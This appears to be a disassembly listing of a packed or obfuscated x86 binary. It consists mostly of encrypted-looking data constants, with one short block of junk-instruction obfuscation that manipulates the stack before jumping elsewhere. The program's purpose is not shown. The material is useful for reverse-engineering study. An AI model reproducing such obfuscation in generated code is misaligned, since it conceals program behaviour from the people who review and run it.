		dd 0DDE9060Dh, 68FFFAF9h, 60D50A6h, 0FAF9D3E9h,	529568FFh
		dd 0C9E9060Dh, 68FFFAF9h, 60D53C5h, 0FAF9BFE9h,	0B238BFFh
		dd 0EDF7664Ch, 0CDDB482Eh, 0A9BF280Eh, 869A04EAh, 505E37C7h
		dd 2D13D2E6h, 0CF2B1C1h, 0EDD3929Eh, 27B17082h,	0AAC4117Fh
		dd 0D16A911Dh, 0AEAA9106h, 844B420h, 0FD684ECCh, 329D83EBh
		dd 61C46120h, 0E96276E0h, 8E93D341h, 0A61F9117h, 9BE856FEh
		dd 4185098Ah, 74E24AC8h, 85098A23h, 1C896F17h, 0AF2DA60Eh
		dd 0F6980519h, 0D8E02390h, 41h,	0F6899C0Dh, 10603B88h
		dd 0EF68E18Bh, 6DEDD947h, 58D19117h, 533182F0h,	7D258509h
		dd 23393F96h, 8B09C69Fh, 654C59F5h, 22932B17h, 68F06E12h
		dd 0E0229C86h, 0DAA8h, 0AE1A0000h, 3FBD369Eh, 0D6E85374h
		dd 0A1E886Eh, 3F51BCA2h, 7486F1D7h, 64C447B5h, 28938B10h
		dd 6715716h, 5CEF8CF4h,	365AC870h, 8A91178Bh, 96B55211h
		dd 4EA923Ah, 771F8799h,	92ABC09h, 70E96285h, 0D4DB84F2h
		dd 52398B12h, 0F82D83D5h, 57FF7832h, 978A0271h,	112A63D7h
		dd 0BC359D16h, 46B0963Eh, 721C38C4h, 674E3D4Ah,	0E8C96E49h
		dd 6827A0C6h, 606CDAC0h, 1B017FF8h, 1BEC9DB1h, 9578F8h
		dd 932AE98h, 58C00000h,	2C9B8140h, 107D6322h, 0F45D4302h
		dd 0CF391FDEh, 296CFCBBh, 48071B85h, 27E6F662h,	8C7D341h
		dd 0E6A5B722h, 0F946B45Ch, 9F911DAAh, 0E9533B06h, 886E16D5h
		dd 0C0A60E1Ah, 4CCA4355h, 637BFB66h, 9BAA0F9Bh,	0EB675EEh
		dd 41A9BF28h, 917F4AC8h, 602E7BE9h, 5BD48B10h, 54ED40DDh
		dd 0B961DAE6h, 176D5F4Bh, 22CA4391h, 0E654CF3Ch, 7BE361DAh
		dd 952BC0Dh, 0AEB82785h, 0E7F16046h, 36E3987Fh,	192467C7h
		dd 903210A6h, 14819D33h, 0E022BE72h, 0A118876Dh, 41BA2238h
		dd 69E760C8h, 0D1A8h, 0AF1A0000h, 53541F9Dh, 886ED6E8h
		dd 86F5DB1Eh, 60C10E7Ch, 0EE678B10h, 7CE7CD75h,	1684EC6Ah
		dd 8B106593h, 26E5F762h, 1BC3D540h, 0B12B9134h,	0E563F3DDh
		dd 0F44DE07Dh, 6A127A86h, 101EAFFCh, 63DC558Bh,	0B0D442EAh
		dd 491174Eh, 7C24CC8Bh,	8EEC10Eh, 70EE6785h, 0B45C70D3h
		dd 12958C46h, 0EB930C8Bh, 0E62F2C04h, 0B331593Fh, 78BB250Bh
		dd 0FEB9BD0Ah, 0A7B1207Eh, 53128B04h, 3EEF036Dh, 9577631Bh
		dd 56650B8h, 0ED000008h, 0C8AE6D85h, 0AA904F59h, 8A702F3Dh
		dd 664C0B21h, 9929E8FCh, 3448B2FCh, 13238F75h, 0F4006E54h
		dd 0D2E44F35h, 73E18913h, 911DAC26h, 916833CCh,	0C9313DABh
		dd 166E6950h, 0AA419EF4h, 0C8DC462Ch, 0A6B82309h, 0AB911CE7h
		dd 4FC8303Eh, 6E80EBD1h, 0A3B52006h, 0C8E447E4h, 80B6B220h
		dd 41BA9117h, 7688F3D9h, 0BB290FB7h, 26CE47AFh,	9406BB8h
		dd 1A981185h, 4FB7C934h, 4F63B1E1h, 819D330Ch, 7A394BB6h
		dd 0AF172994h, 0C31CF141h, 1B37CDFDh, 10CFE14Ch, 45ADBF2Ah
		dd 0C31D83D7h, 7789F4FDh, 0ACBE290Fh, 0FCBF5D44h, 89B80F2Bh
		dd 0EAC866FCh, 125DF187h, 0F0D695A7h, 23CB7385h, 0C34968B5h
		dd 17950EFDh, 9F3312AFh, 482F10F7h, 86955A03h, 22F26008h
		dd 0CE03C9A7h, 26A7EE8h, 2638A389h, 0F251EEADh,	414F36DEh
		dd 1C8D9122h, 3FAD55D3h, 0FDC1A89Fh, 676D04EBh,	78D06B2Dh
		dd 1891F90Fh, 50BE269Fh, 0F1B2C400h, 0D5C65CF2h, 7F78DE35h
		dd 3A715h, 0E9914A00h, 10602E7Bh, 0DD5BD48Bh, 0C1F3779h
		dd 0A850F8A0h, 105FED3Ah, 341A938Bh, 0CC3AB8C8h, 911774A0h
		dd 98311D04h, 0B5575321h, 3647B53Ch, 6A06177Eh,	684FF7DBh
		dd 0A7D22F5h, 0A82697h,	107FE92h, 51B9320Ah, 953D91B4h
		dd 0FD3FCA27h, 6F179003h, 885DC288h, 0AA2858F8h, 6745A02h
		dd 9B1992FAh, 79384AB5h, 727CEBD1h, 2D13910Ah, 0EF1542C2h
		dd 0AF1E5C4Dh, 53CC3442h, 7A86F4DAh, 8E335001h,	68D00E60h
		dd 6637Eh, 0F278F00h, 0F1FB6A50h, 0D1DF4C32h, 0ADC32C12h
		dd 8A9E08EEh, 545A3BCBh, 3117D6EAh, 10F6B5C5h, 0F1D796A2h
		dd 2BB57486h, 0AEC81583h, 0D56E911Dh, 25899C0Ah, 81130F7Dh
		dd 9E179117h, 0D3E55036h, 2B079D6Bh, 8D05745Ah,	7D295759h
		dd 127AF303h, 0AF7E1B99h, 0A31C2896h, 26D53FBh,	80472F0h
		dd 0C8B1020h, 83EED493h, 7A610971h, 12487EA2h, 77E0C6D7h
		dd 280F961h, 379FB11Ch,	6ED6E451h, 0A30B1D88h, 0A28016h
		dd 0C5BF78Dh, 48D08FA1h, 0EA2BE5A6h, 28388h, 899CBD00h
		dd 0A70F7D25h, 83911DAAh, 117C620Ah, 9A132992h,	933BB932h
		dd 872F43ADh, 162471DFh, 1E878503h, 8427A008h, 0A8F5630Bh
		dd 4E850316h, 0B29857D5h, 4A970548h, 0F0850316h, 0EE96FE77h
		dd 168BD846h, 0B8318503h, 167ACC3Ah, 7CE78503h,	0C08AB96Ah
		dd 0E74F9B7Bh, 56FFDh, 31B8300h, 0E5EF5E44h, 0C5D34026h
		dd 0A1B72006h, 7E92FCE2h, 48662FBFh, 250BCADEh,	4EAA9B9h
		dd 0E5CB8A96h, 1FA9687Ah, 0AFBC0977h, 0C962911Dh, 0B8899CFEh
		dd 19C13A4Eh, 1DAA43ABh, 3EA61F91h, 1CDBED58h, 1C8ACB36h
		dd 850316CFh, 1B83FC75h, 10B8CA35h, 3198268h, 3164895h
		dd 1F07EE85h, 0B028E3ADh, 0B1199710h, 0E54D61CBh, 1E8690FFh
		dd 0AB0925BBh, 7AE89038h, 8502D42Dh, 46DC5AD3h,	0E0F25DE8h
		dd 66E85238h, 7ED3AF4Fh, 69D14A05h, 909C0AF0h, 7231AF28h
		dd 281018EAh, 1862AE0h,	535F0000h, 886ED6E8h, 0AF4C0B1Dh
		dd 1A88309Ch, 911762DAh, 1785ED66h, 85095EC6h, 9D0E24BAh
		dd 0E02244CDh, 47DDh, 899C1200h, 603B88F6h, 68E18B10h
		dd 0EDD947EFh, 0D191176Dh, 3182F058h, 25850953h, 1C2A977Dh
		dd 592A089Eh, 4E9B09B1h, 0F4850953h, 53C00D7Bh,	0F3618509h
		dd 850953A6h, 0B730D34Ch, 4DD1B139h, 0B2F1E022h, 26000000h
		dd 69E853h, 230971EAh, 573DA5B9h, 8C72DAECh, 0E2500F21h
		dd 8B10655Fh, 0F2B1C32Eh, 0E734A24Ah, 8D8B105Bh, 2AF99614h
		dd 88F7DE86h, 9A722A3Dh, 52C068E6h, 91199216h, 3784F29Ah
		dd 0DD850642h, 9B43EB64h, 6CE94EB4h, 48F0C7F8h,	5BC8DDAh
		dd 3CBA3385h, 19D8EC56h, 4B5C933h, 9B7E66FBh, 0F93E2890h
		dd 0F9000003h, 0D4BA7991h, 0B69C5B65h, 967C3B49h, 7258172Dh
		dd 0A535F408h, 4054BEF0h, 1F2F9B81h, 0C7A60h, 0DEF05B41h
		dd 7FED951Fh, 911DB032h, 53743FD8h, 0EAFE68E9h,	61CCB271h
		dd 0A5BF2DE1h, 1B2F4833h, 0AADA2F1Fh, 0AD6CE55Eh, 0D6E853E2h
		dd 77E0C66Eh, 92FDE361h, 0F2AA613h, 580C1BB3h, 0A83EB64h
		dd 1635D291h, 36A4DF4Dh, 8B10AAE9h, 249D168Fh, 0D33E0E7Ch
		dd 71EA9117h, 824C9B09h, 7E268509h, 821B68D6h, 4EBC8509h
		dd 85098201h, 0A58B2EA7h, 33B12A38h, 2CFF819Dh,	9A6AD880h
		dd 468B10AAh, 49B7F260h, 7F0258FCh, 48B029A2h, 0CC9756CFh
		dd 6ED6E853h, 630B1D88h, 29960F7Dh, 0C13AB31Bh,	0F5DC8443h
		dd 0EE33B397h, 5FFC7A23h, 0F50973CCh, 0FE6C148Dh, 8B115EB1h
		dd 0BD65DE57h, 18600F4Fh, 49B59B91h, 0B058D139h, 0A5BF542h
		dd 0A9229B85h, 5C82D341h, 0CE76850Ah, 56D7BE8h,	0DA780E8Ch
		dd 234619E9h, 4F29E0h, 9A810000h, 0AF0C4526h, 0A06BE900h
		dd 7D25899Ch, 176E230Fh, 268E0791h, 95367B8h, 0EA64D285h
		dd 3C369EACh, 0EB53CC4Ch, 1F879B05h, 8426FC92h,	0F0BD9127h
		dd 238BA10Ah, 0C2A42CAAh, 0FDE022E8h, 252CAC17h, 0D5F435D1h
		dd 0CC8D0B84h, 0EAh, 0D6E85301h, 0A1E886Eh, 66687B62h
		dd 864E4212h, 4FBAA008h, 84EFD53Dh, 0C245B372h,	0CF8B1147h
		dd 0E398CE8h, 6FED8FABh, 4D0C1E89h, 82EAFC67h, 77C432DAh
		dd 1D8B1102h, 179DF336h, 4BC45B74h, 441D30CDh, 7C62CAD6h
		dd 229B030Dh, 0A18830A9h, 0EFFA7800h, 0E38B0906h, 1820CD75h
		dd 0F1B02991h, 35DDF154h, 138485C7h, 0F49C158Bh, 2E91DE4Ch
		dd 89F47F00h, 0DD5BD477h, 0D1E54F35h, 54C26A12h, 7F002E07h
		dd 0D0B634ADh, 0A6A15266h, 0B9578D8h, 20AB9A3h,	80E80000h
		dd 54C3A968h, 38A58B4Ah, 1C856B2Ah, 0F7614706h,	19424E3h
		dd 702F43ADh, 4F0E1E8Ah, 30EFFB69h, 0ECDDF4Ah, 216EDC84h
		dd 0C7911DB2h, 0AB91632Eh, 0BC43C23Eh, 395E57Fh, 0BC260C8Ah
		dd 9803E9A8h, 8CF8DE86h, 0FC92DF4Dh, 0BF388B10h, 0E765DE46h
		dd 899C5D28h, 230F7D25h, 291176Eh, 539FEC5Ah, 0CC458509h
		dd 1697BE6h, 0EE670A88h, 8EF8DE86h, 0FC6A127Ah,	850953AFh
		dd 0E563DC55h, 9532677h, 17239185h, 4A60C9AFh, 7FCC3AE2h
		dd 25850953h, 8FA339ACh
		dd 0E43AD02Dh, 224DD7B7h, 0D7F7E0h, 532C0000h, 862ED6E8h
		dd 1060CB18h, 7AF8718Bh, 0AEC22C12h, 6555D846h,	0B9248B10h
		dd 9702E8A7h, 0AD801D85h, 8735901h, 0A20A2089h,	0CF48B029h
		dd 933BA951h, 0EF91177Eh, 7CE8CE76h, 922FEE6Ch,	0CB8DB1B3h
		dd 0BFC951A5h, 10F69E46h, 0B22B93A5h, 6225C634h, 0FA738B12h
		dd 3DC3AA52h, 0F80C766Fh, 0A0301790h, 0BCA22093h, 54A10F52h
		dd 0FA7EFE80h, 7A600881h, 1E60930Bh, 0BA31263Ah, 1E04C341h
		dd 0DAEFA0B4h, 5795777Ah, 0DA05EFh, 0B0180000h,	84F3D998h
		dd 68D5BB7Ah, 4CB59B5Ah, 27917736h, 0D1C45413h,	0A05F73DDh
		dd 7F3E4EBAh, 601F2B99h, 3EFD0F7Ah, 519E0CB4h, 0F7911DB3h
		dd 0E953935Eh, 0C53016D5h, 0F5630BB3h, 8B1060A8h, 0BF2DD54Eh
		dd 8B106072h, 62219F18h, 0D6E85397h, 9E1D886Eh,	2AA2331h
		dd 219FB11Ch, 4A66C562h, 0AAC834A2h, 33AC911Dh,	397AE5CBh
		dd 6BD9E553h, 8503171Eh, 61AE1CC4h, 7850317h, 0DD9C158Eh
		dd 0D4E24F35h, 0F3057056h, 0FB6E1D8Bh, 58EEED4Ch, 0EE006BFAh
		dd 0CCDE492Fh, 0C10E7C24h, 671CB934h, 53B207EEh, 151D0378h
		dd 0E0492F97h, 0D7C62CAh, 4CB59B03h, 0C55BCE36h, 0D57D4B69h
		dd 0F47284EFh, 0A75C05Eh, 0E85339F8h, 0D846ED6h, 0DC000000h
		dd 0F779C634h, 0A61F1CB8h, 0F4BF5D28h, 6BD3EB53h, 0A0081A85h
		dd 0D8404CBAh, 0E7686F2h, 42AABE28h, 76DEF25Ch,	0A9112790h
		dd 0E04856C3h, 19818BFAh
		db 0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	203Fh
		mov	[esp], esi
		push	ebp
		mov	ebp, 9A73F41h
		shl	ebp, 3
		push	eax
		mov	eax, 20BF6C3Dh
		inc	eax
		inc	eax
		or	eax, 5EDD053Ah
		xor	eax, 0C62C3D0Fh
		add	ebp, eax
		pop	eax
		mov	ebx, ebp
		pop	ebp
		push	71ECh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	75EAh
		mov	[esp], ebx
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_550050
; ---------------------------------------------------------------------------
aU_0		db 'ÂuÙÁ',0Bh,'É',0
		db 0B5h, 0F8h, 41h
		dd 54C4B86Bh, 0C503060Dh, 11A8E0FFh, 340503CCh,	0D4FC753Ch
		dd 55F82EFFh, 0FFDE56BCh, 0C7D462D6h, 0F3A7ECEh, 0BF186CD2h
		dd 66E716BBh, 5DD36364h, 0C21044D8h, 1C753074h,	0D7AF78A8h
		dd 0EA0C192Ch, 5A872668h, 543A632Ah, 6EC90C60h,	45B101C6h
		dd 11BD5DF4h, 0A2F21A99h, 0EF2021C7h, 69F05D05h, 48415AE7h
		dd 0EFB30965h, 6C1E6174h, 0AE828B3h, 0AF000000h, 0C6E863BCh
		dd 46FD5ADEh, 1C8A0FAAh, 0F000000h, 168Ch, 11E900h, 78DF0000h
		dd 3224F2F9h, 7B91CBEBh, 3A5081D4h, 5E7909ECh, 7E9h, 0B88C6800h
		dd 7EE41C77h, 6101C681h, 0E680000h, 0F000018h, 28Dh, 59C18A00h
		dd 8B89F480h, 860F5216h, 0Fh, 0AE9h, 2E1CE100h,	591FA9CCh
		dd 5818E1F9h, 0ED1EF281h, 8B0F266Bh, 5,	0A3EF8166h, 0D5EA8154h
		dd 0F413006h, 1189h, 0CE900h, 94F10000h, 0BA6531Ch, 572551D4h
		dd 0EA8190CEh, 3565BA22h, 52FFB70Fh, 0CE9h, 8424EC00h
		dd 384AAA9Bh, 4B5D2F23h, 0B4068F82h, 2EE8376h, 8B664E4Eh
		dd 850F49DFh, 0FFFFFF8Bh, 0D2F18160h, 6161068Dh, 8EBh
		dd 34F30000h, 0AEE94143h, 68000004h, 60D57BDh, 0FA25BCE9h
		dd 582168FFh, 0B2E9060Dh, 68FFFA25h, 60D598Eh, 0FA25A8E9h
		dd 620AB7FFh, 68F6B816h, 6FF5BE1Ch, 7319C523h, 7E02C927h
		dd 0E6274832h, 0E745911Fh, 0EB49951Fh, 0F5539F25h, 0E75AA632h
		dd 319E9D6Ch, 0E0BFF001h, 181BEA65h, 45F00131h,	43D197F5h
		dd 0A68A4090h, 0DD9014DBh, 74619F62h, 1C26E634h, 0B7450866h
		dd 26427C6Bh, 715CDCABh, 0B909FC13h, 6D083706h,	4BEEF00Bh
		dd 38E2A4F3h, 0CC2A99CAh, 78C87B09h, 15CB511Ah,	2FD92h
		dd 60BEAE00h, 9F580E98h, 0A3C5F911h, 7D3B5928h,	1464FC13h
		dd 9D21E45Fh, 3974F063h, 37916016h, 0DFF57689h,	46A69564h
		dd 67B70D6Eh, 461E1DECh, 0EF3F0D6Eh, 0F4744A39h, 0B05EAA79h
		dd 57A70771h, 5F09B5A4h, 0A85F15E4h, 60B00176h,	38C487E5h
		dd 27F671ECh, 0D6E5714h, 0E543F949h, 79379622h,	8DB978CAh
		dd 2FD84DAh, 0EB980000h, 0D597F541h, 0D49DFB47h, 0FAA60450h
		dd 0E3AA0854h, 627115Dh, 2672FEC5h, 2A7600C8h, 348006CCh
		dd 398513D6h, 0B97C4BC6h, 0A6F00130h, 744AE3C7h, 0D6AA79F4h
		dd 1FFC19BEh, 2FF654CFh, 0FFC826A1h, 0F873BF75h, 9A4DD39Ah
		dd 6F36944Ah, 0D35F2EE1h, 0B4F00131h, 0B60463F1h, 50BAE851h
		dd 299479Dh, 4FFC0000h,	410361ADh, 400967B3h, 661270BCh
		dd 571E7CC8h, 72937DC9h, 0A2EE7239h, 0A6F27C44h, 0A8F48248h
		dd 0ADF9874Ah, 4DF0BF3Ah, 12F0013Fh, 60BE4F33h,	0AB51FD99h
		dd 8B6A55Bh, 7A16E560h,	0CBFC19BEh, 36F9C87Bh, 0B0F00131h
		dd 0A466350Dh, 0E499D080h, 1DAh, 7E18DB00h, 267629B7h
		dd 0C47705C8h, 0F6712474h, 8245CF98h, 0DC6FEC1Ch, 8AE89E05h
		dd 72ED39C7h, 0C9985114h, 0F60C576Ah, 9D53A3F3h, 0DD5810AEh
		dd 135AD20Eh, 58D323FCh, 9D88FA95h, 0E49A735Ch,	63F3B631h
		dd 894EB273h, 2FFEB4h, 0E6F00BD0h, 0DA9CEB43h, 2299CAE1h
		dd 0C37618C4h, 4C3ABD73h, 0BF000000h, 0D8C67544h, 3997F00Bh
		dd 409EEE72h, 0E939EC7Ah, 744A4F33h, 2AAA79F4h,	73FC1375h
		dd 9EA17023h, 43F00B6Ah, 7D40F381h, 0E3850FB2h,	0FCC321C2h
		dd 45E8C578h, 7BE87BEDh, 0ADA75B37h, 0D971145Dh, 0CAC408CAh
		dd 0BE4899h, 0DB640000h, 7BD98C18h, 57B530B4h, 9F520894h
		dd 71FFC624h, 0E9A5DBBh, 0AE3AFD5Bh, 8329D533h,	0ADB281CDh
		dd 82F60C6Ch, 0F6E531BFh, 5625A0C8h, 0FC161416h, 219C1767h
		dd 5CBE352h, 290CDBF0h,	36F005CBh, 6BC0CE6h, 0DA662D8Bh
		dd 0B755015Fh, 0BF3AB501h, 5CB4DF0h, 0CC212F0h,	0FA59E7AEh
		dd 0AED14ECAh, 2C57AD60h, 69000001h, 76D420BCh,	7CDA26B4h
		dd 7FDD29B3h, 7FDD29D3h, 0F6E02CB8h, 47CD94D5h,	4FD59DFBh
		dd 51DFA503h, 58E4A705h, 4F1E990Ch, 0F0013EECh,	0BEAE9271h
		dd 590C9A60h, 672C0FDEh, 0E131F60Ch, 0B67DDB91h, 0BD80DE2Ah
		dd 87D77521h, 7645C03Bh, 0F60C67C7h, 0AE924898h, 0D98C18DBh
		dd 0E02CB87Bh, 0DE28CDF1h, 9DAE99D4h, 8210D634h, 0B42F7FCFh
		dd 136BECE5h, 7AF545FCh, 0D5A4551Ch, 0F00BF466h, 8349A7F7h
		dd 0AAFA4AFDh, 9968E35Eh, 0F00BF49Ah, 4C1573C3h, 0FC4312C8h
		dd 0C8F00BF4h, 0B1710905h, 849F62EEh, 72D086D7h, 0D1CDAEAFh
		dd 0A44766B6h, 0B87BD954h, 591B792Ch, 79C57BCBh, 1DD0541Bh
		dd 6AC7h, 744AE300h, 0DAAA79F4h, 23FC19BEh, 0FFC220D3h
		dd 4C72571h, 8DF6C578h,	483B5781h, 0B08352CDh, 0ADB74F5Eh
		dd 2013E25Dh, 3DB74F5Eh, 0BA9437EDh, 0CD26C2Fh,	3383D386h
		dd 2CC689E7h, 0DC2CDF65h, 0CF7BD98Ch, 7BCB591Fh, 0B99134C8h
		dd 76C5940Fh, 0E7B74F5Eh, 8A3DC389h, 0D634EA3Ah, 0DB398513h
		dd 83D98C18h, 3, 0DB694D9Fh, 7DDB8E2Eh,	1D7B2EBAh, 0B816C957h
		dd 55B366F0h, 0F14F028Eh, 95F3A62Ah, 329043E9h,	0D230E369h
		dd 7ECF8210h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		dd 67682414h, 89000074h, 0A3682404h, 89000029h,	3DB8243Ch
		dd 357AB074h, 4ED6711Dh, 7D0BB53h, 0F7431610h, 80F381DBh
		dd 1ECF6DAh, 0E0C15BD8h, 0A51C3506h, 8B5459C4h,	0C481243Ch
		dd 4, 8BA52h, 0FA010000h, 148B0289h, 4C48324h, 50243C8Bh
		dd 405E089h, 83000000h,	48704C0h, 34FF5C24h, 0C4815824h
		dd 4, 0FA2120E9h, 768216FFh, 0F2E70117h, 5ADFB8F2h, 0C503060Dh
		dd 3762E0FFh, 7768630Ah, 0D7C219Fh, 2F02597Dh, 0F9061F60h
		dd 51DA4E10h, 43C47D14h, 1D183868h, 0C0414290h,	570B3F28h
		dd 33490A9Ch, 43375A7Dh, 0F08E5781h, 7B582D01h,	0B3F21ADFh
		dd 824D3A11h, 0A0A78D8h, 1E0907FCh, 8B3F2F43h, 3BAD3E11h
		dd 0FADA0AF0h, 8D8D01E3h, 60D5CB5h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0A0C35646h,	7CBE9585h, 18D8918h
		dd 6A06070Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0C51CC351h, 7043F0B2h,	519D23B8h
		dd 0C7060727h, 714A585h, 72E406h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 733714A4h
		dd 6051E9DFh, 39B9BB66h, 2FD585C7h, 607h, 0CC800000h, 0D5B5FFDEh
		dd 6A060713h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 63F3C356h, 836F1A51h, 3205BF9h
		dd 1C1995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E23E10C3h, 6ADE8B66h, 6995FF00h
		dd 8B06071Bh, 0C18EBC0h, 0CECC0538h, 0DF2183Fh,	0F64A5071h
		dd 0BE71531Dh, 0B9959EA0h, 8DD1719Ch, 0D5DE58Dh, 0FE806h
		dd 3D500000h, 319BC149h, 0B224728Eh, 4D2ABD19h,	0BE91BE32h
		dd 0F5B61C3h, 682h, 0D9D8B00h, 89060714h, 70A018Dh, 3BC88106h
		dd 0C7732B46h, 714A585h, 655406h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 58EC7BC9h
		dd 9375C30h, 7129185h, 68BE6606h, 0D585C7E9h, 6072Fh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0AA3AC357h, 0D8E139B3h, 0F6BF0FBEh
		dd 312DB5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9E83AC3h, 2000000h, 70CBFC3Eh, 9F232810h
		dd 3C1EE381h, 0FF5E6ED8h, 71C1995h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 881F927Fh
		dd 0EE9h, 0BDD5BB00h, 0E9D700Eh, 0DFB42610h, 6A82A720h
		dd 6995FF00h, 8B06071Bh, 7B49EBC0h, 4CFBB30Ch, 2DE9B35Ah
		dd 2F872762h, 0AE5DF8D1h, 434EE912h, 72DE6E36h,	8C5E3ED4h
		dd 52F1BD56h, 0F4121BAAh, 0D2D5CE02h, 0B98D3374h, 0E04B4B64h
		dd 918831CDh, 0D6AA2F1Ah, 0C83EB682h, 16BEEFh, 0FCF60BB8h
		dd 3EE39C43h, 11E8h, 16CDAF00h,	9E375955h, 0EBE63A62h
		dd 17CE747Fh, 8166BC89h, 59ACFED7h, 43CE8166h, 8C181B0h
		dd 89000075h, 702518Dh,	8BDB2B06h, 0BD011904h, 6070B35h
		dd 0D88AE881h, 0BD896DDBh, 6071235h, 0F96EC081h, 0AE87CBAh
		dd 0F4000000h, 891926CFh, 1F30917Eh, 0DF816646h, 815AC2E9h
		dd 6229EAF0h, 1904890Dh, 0FE8h,	0E3033800h, 0CC89597h
		dd 2864884Eh, 0E6C55807h, 41E0BE66h, 0F08B665Fh, 5001EB83h
		dd 9E9h, 359E4000h, 63540764h, 4B5AF9C0h, 9D894B4Bh, 607215Dh
		dd 8BA0FB81h, 850FFFFFh, 0FFFFFF83h, 0E7EE8166h, 7E8AFh
		dd 7CFA0000h, 0E7769234h, 12E991h, 0F8F70000h, 0B34FC513h
		dd 0D4F9F24Ch, 93A8CE3Fh, 0A2D3F9CBh, 7CC5805Fh, 59CEC781h
		dd 5E80000h, 4F000000h,	0A9DDAA04h, 8C6FB866h, 6858h, 8D890000h
		dd 6070A6Dh, 1DC1805Ah,	563A34FFh, 1C118D89h, 5B580607h
		dd 47CE8166h, 52C38117h, 815A1594h, 0F58768C3h,	71B58972h
		dd 81060704h, 0A53D4CEBh, 0CEC98166h, 891D62C4h, 8D8B171Ch
		dd 60702F1h, 0ED5B58Bh,	0EA830607h, 81CA8B04h, 0FFA6F0FAh
		dd 15850FFFh, 66000000h, 7D78F081h, 23E9h, 4922AC00h, 0E7B13378h
		dd 0AC2C6962h, 2059BD01h, 91E90607h, 9CFFFFFFh,	1BBE1AC6h
		dd 0EE745FC6h, 6722EA62h, 60868D8Dh, 6A060Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0CA40A0C3h
		dd 6EB9F94h, 890FC751h,	5, 2ED28166h, 0A1B523ADh, 89060716h
		dd 70A018Dh, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 81B1E5A1h, 3BDE090Bh, 0AE8h, 84275900h
		dd 0C6C249FCh, 0BA52F8D0h, 72CCE802h, 0A585C75Fh, 0A4060714h
		dd 89000067h, 711E9BDh,	0D585C706h, 6072Fh, 8B000000h
		dd 71CA195h, 59B5FF06h,	6A060727h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0BB99C356h
		dd 9D9D0325h, 0FF060700h, 71C1995h, 58E0F06h, 66000000h
		dd 0A1E4D681h, 95FF006Ah, 6071B69h, 0FEBC08Bh, 120F4648h
		dd 30E94C40h, 0FA667947h, 8D9DF7E8h, 0D619C8Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 880F5972h, 2, 8D8914B4h, 6070A01h, 173DB589h, 0BD8B0607h
		dd 60716A1h, 14A585C7h,	6A480607h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3BFA6BC3h
		dd 0FC8D35Fh, 0D8Dh, 8E900h, 7CE20000h,	625C8DDCh, 85C74EC0h
		dd 6072FD5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 63C35040h
		dd 91134455h, 0DFBF66F3h, 9B5FF93h, 6A06070Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0AD16C352h, 1C1995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 2FF379C3h, 0D5B88AADh
		dd 0AB59D8Bh, 6A0607h, 1B6995FFh, 0C08B0607h, 0DBCE1FEBh
		dd 8139130Ch, 523E80C3h, 97AE0821h, 0F5D0F9B6h,	3B34F330h
		dd 750115C1h, 8E5AE66h,	0FE8B2h, 8AFF0000h, 6BEC7C92h
		dd 0FEF23BEFh, 0D08AB59Ah, 0DEBF0FFCh, 0DBB70F58h, 6BDBC081h
		dd 0D8BE0000h, 3100001Ah, 70ED995h, 8930FF06h, 71D99BDh
		dd 0BD095906h, 60700B9h, 4A6FE981h, 81660DD1h, 81E047D7h
		dd 77CBEDE9h, 5E95Dh, 0E88D0000h, 8157C240h, 0C442A2E9h
		dd 89DAB60Bh, 59F38008h, 6D4FE881h, 66BF617Ah, 812A0F2Ch
		dd 7A6D4BC0h, 83D38B61h, 850F01EEh, 0FFFFFFADh,	0E9CA8166h
		dd 8E88Ah, 64F60000h, 9D6E07CEh, 5BF5686Ch, 0C38103B1h
		dd 676Bh, 4D958960h, 8B06071Ch,	70CB98Dh, 686106h, 31000000h
		dd 71D1DBDh, 0C9805A06h, 1A34FF44h, 2D41B58Bh, 66580607h
		dd 8687C981h, 8AB0F081h, 0C0813925h, 7DE6723Bh,	0F718531h
		dd 0C0810607h, 3B8E575Dh, 2D858956h, 5E060716h,	0F130489h
		dd 882h, 8D895700h, 6071BF9h, 0F38B665Fh, 0F871EA81h, 5BF1EB9h
		dd 81472C95h, 0B9F86DC2h, 24FA811Eh, 0FFFFF99h,	0FFFFA085h
		dd 0BBB966FFh, 9A8D8D10h, 66060D63h, 0D327CA81h, 0A018D89h
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
